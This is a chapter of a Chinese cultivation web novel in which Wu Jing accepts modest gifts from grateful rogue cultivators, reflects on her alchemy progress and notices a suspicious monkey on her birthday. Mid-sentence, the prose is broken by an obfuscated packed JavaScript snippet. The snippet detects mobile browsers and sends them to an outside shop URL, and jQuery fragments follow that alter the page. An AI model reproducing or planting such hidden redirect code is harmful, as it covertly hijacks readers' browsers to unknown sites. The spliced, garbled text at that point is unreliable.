小小的堂屋变得有些拥挤,却也因此多了几分人气。
吴璟为几人斟上清茶,茶香袅袅,稍稍冲淡了些许拘谨。
柳青双手捧着茶杯,目光诚挚,再次郑重道谢:“姑娘大恩,没齿难忘。”
赵铁、阿秀与林风也在一旁,跟着出言致谢,神情皆是发自肺腑的敬重与感激。
栓子则坐在椅子边缘,捧着茶杯小口抿着,分明有些局促,目光却总是不自觉地悄悄飘向吴璟,带着一种毫不掩饰的、雏鸟般的依赖与好奇。
寒暄几句后,柳青对赵铁使了个眼色。
赵铁立刻从腰间解下一个灰扑扑、边角已磨得发白的储物袋,神情局促又带着些许赧然,从袋中取出几样物品,一一放在吴璟面前的桌上,动作极为珍惜。
“恩人姑娘,”他声音有些干涩,“我们……我们晓得,这点东西实在算不得什么,更配不上您的救命大恩。只是……这是我们眼下能拿出的、最好的一点心意了,还请您……莫要嫌弃。”
桌上很快摆开一小堆东西,略显陈旧毫不起眼,却都收拾得干净整齐:
一小堆灵石,这样小小的一堆,不用细瞧,便能猜出,不足千枚。七八块拳头大小、泛着微弱土黄灵光的厚土石。一大捆处理得当、品相良好的地根藤,其年份,似有二十余年。
几十株下品灵草,根茎带泥,用一种看起来油亮亮地莹莹润光的灰纸包着。有两个木盒子,盒子里放着两株银线草,观其外貌,应是中品灵药。
另还有一堆处理好的、零零碎碎的、低阶妖兽材料,粗粗一算,虽买不下一枚烈阳丹,三分之二亦可抵。
栓子见状,也连忙将自己一直抱着的小布包小心翼翼地放到桌上,推到吴璟面前,小脸涨得通红,声音带着忐忑:“姐姐,这……这是我和爷爷在郊外采到的两罐蜂蜜,虽算不得灵食,也蕴含了丝丝缕缕的灵气,不值什么钱,但……但很甜!还有一罐霜梨干,是我与邻家姐姐一道采摘洗净晾晒的,酸酸甜甜很开胃!剩下的两罐是荔莓,味道特别好,脆脆地,汁水丰富!还有一小叠中品符纸,爷爷攒了好久的,爷爷说,一定要谢谢姐姐!”
吴璟的目光扫过这些物品,又落在五人脸上——柳青眼中的歉意与真诚,赵铁的朴实与窘迫,阿秀的温和与感激,林风藏不住紧张却努力挺直腰板的样子。她看到的不是礼物的轻薄,而是这份心意背后,这些挣扎求存的散修,所能拿出的、近乎全部的心意。
吴璟端起巴掌大的小罐子,打开罐盖,从里头捡起一颗荔莓,放入口中,清甜的汁水瞬间盈满口腔。
她笑着对栓子说:“很甜,确实好吃。”
栓子闻言,小脸上顿时绽放出灿烂的笑容。
接着,吴璟拿起一块最大的厚土石,指尖感受着其中微弱的土灵气,点了点头:“此石土气纯正,于我正有用处。”又看了看地根藤,“藤身完整,药性未失,难得。”
“诸位的心意,我收到了。这些礼物,很好。”
“姑娘不嫌弃就好……”柳姨眼眶微热:“我们青柳小队,虽人微力薄,修为低浅,但知恩图报的道理是懂的。今日之物,不足挂齿。往后姑娘但凡有用得着我们几个的地方,无论是探路、寻物、还是做些粗活,甚至……”赵铁接过话头,胸膛一挺,声音斩钉截铁,“哪怕是刀山火海,只要姑娘一句话,我们青柳小队,绝无二话,眉头都不会皱一下!”
这话说得质朴,却掷地有声,透着散修间说一不二的义气。
吴璟看着他们眼中毫无作伪的坚决,心中微动。在这陌生的云泾城,能收获这样一份带着江湖草莽气息的善意与承诺,似乎……也不错。
“诸位言重了。”她缓声道,“当日之事,不过恰逢其会。诸位不必时时挂怀。日后若真有机会,或可互通有无。”
她没有直接应承什么,却也没有拒绝这份心意,留下了未来相处的可能。这对柳青他们来说,已是莫大的认可。
等他们说完,栓子握紧了小拳头,鼓起勇气道:“姐姐,我……我虽然还小,但我会长大!以后也能帮姐姐做事的!只要姐姐吩咐,我什么都愿意干!”
吴璟看着他,眉眼犹带稚嫩,认真承诺的样子,心中暖意更甚,轻拍他的瘦小的肩膀:“好。”
又闲聊片刻,多是柳青他们说起些云泾城散修间的趣闻、城外几处相对安全区域的近况,吴璟静静听着,偶尔问上一两句。
天色渐晚,橘红色的晚霞铺满了小院。柳青等人起身告辞,栓子依依不舍地跟在后面,吴璟送他们至院门口。
暮色四合,小巷安静。
栓子饱含期待的问了句:“姐姐,我,我,我可以来找你吗?”
吴璟笑着点了点头。
柳青四人再次郑重行礼道别。
“姑娘留步,夜里风凉,快回屋吧。”柳青温声道。
“恩人姑娘,保重!”赵铁三人也拱手道。
栓子喜滋滋,声音响亮:“姐姐,再见。”
吴璟站在院门口,看着他们转身,身影渐渐融入巷子尽头的昏暗之中,直到再也看不见,她才轻轻关上院门,重新激发禁制。
堂屋的桌上,厚土石、地根藤、等谢礼,在渐暗的光线下显得愈发不起眼。吴璟走过去,却没有立即收起,而是静静看了一会儿,随后,一样一样的收进了储物手镯里。
夜色彻底笼罩了小院,室内萤石亮起柔和的光。吴璟沏了杯灵茶,坐在窗前,望着窗外宁静的夜色,如浸泡温泉,身心暖融融地。
后院的棠梨,素白如雪的花期早已过去,如今枝叶间,悄然缀满了青涩却日渐饱满的小小果实,预示着秋日实实在在的收获。而在这方小院里,潜心苦修的吴璟,也在这个酝酿着丰饶的季节里,迎来了属于她自己的、沉甸甸的大丰收。
固元丹的成丹率,已稳稳停在了六成。揭开炉盖,炉底均匀排列的、温润褐色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147434|190509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的丹丸,每一粒都凝聚着她对火候与药力平衡日复一日的揣摩与练习,是她丹道根基越发扎实的最佳证明。
炼器室里,炼制初级防御手镯对她而言已近乎一种本能。最初需耗费一个时辰、心神紧绷才能勉强成器,如今半个时辰内便能行云流水地走完全程,成功率百分之百。那些“整齐”得如同一个模子刻出来的手镯,虽然缺乏灵性与变化,但稳定产出带来的灵石,却是实实在在、令人心安的积累。
而最让她每每想起都忍不住眼角眉梢染上笑意的,莫过于中品生肌丹的成功!无数个日夜,对火候转换毫厘的调整,对药力融合时机的精微把控,终于在某一次开炉时,得到了回报——炉底静静躺着的,是色泽更为莹润内敛、表面隐现玄奥丹纹的丹药!
她!成功了!
中品生肌丹炼出来了,上品生肌丹还远吗?中品固元丹还远吗?上品固元丹……咳,这个有点远,但是没关系,她相信自己,不需要多久,最多三年,她肯定可以炼出上品固元丹!
修炼、炼丹、炼器,日子充实而富有成果,储物手镯里的灵石和成品稳定增长,让她对未来充满了踏实的期待。
九月,暑气渐消,云泾城染上一层薄凉的秋意。后院棠梨果早已采摘殆尽,只余枝叶在微风中略显稀疏地摇曳。
晨光熹微,一股混合着泥土与微枯草木气息的凉风,透窗而入。
吴璟于静谧中自然醒来,推开房门,凉风扑面,让她精神为之一振,唇角不自觉地微微弯起。
今日是她二十五岁的生辰。
在这个全然陌生的城池,虽没有亲人,亦无旧友,连幼蟒也仍在沉睡中不曾醒来,小院里独她一人,两株略显秃意的棠梨。
内心抑制不住的想要庆贺一番。
她!真的超级厉害!
若母亲在身边,非得三日一小庆五日一大庆。
可惜娘不在。
无妨,一个人也能吃火锅。热腾腾、暖融融的火锅。翻滚的汤底,氤氲的热气,以及将鲜美食材投入其中、等待美味的过程,想想便觉惬意又温暖。
于是,她不再犹豫,脚步轻快地出了门,就在她刚刚踏出院门时——
“吱吱!”
清脆的、带着几分顽皮意味的鸣叫,毫无征兆地从斜对面的屋檐上传来。
吴璟心头猛地一跳,迅速循声望去!
小猴?
好眼熟的小猴子……
又是它?是同一只猴子吗?
灰褐色、巴掌大的小猴,蹲在屋檐的脊兽旁,赤红色的眼珠在秋日阳光下显得格外醒目,一眨不眨地看着她,见她望来,甚至还歪了歪头,抬起一只前爪,像是打招呼般挠了挠脸颊。
前阵子在巷子里初见时的那点古怪感,此刻如同冰水般浇下,瞬间变得清晰而凛冽!一次是偶然,两次……在这僻静的小巷,同一只灵巧异常的小猴,再次“恰巧”出现在她出门的时候?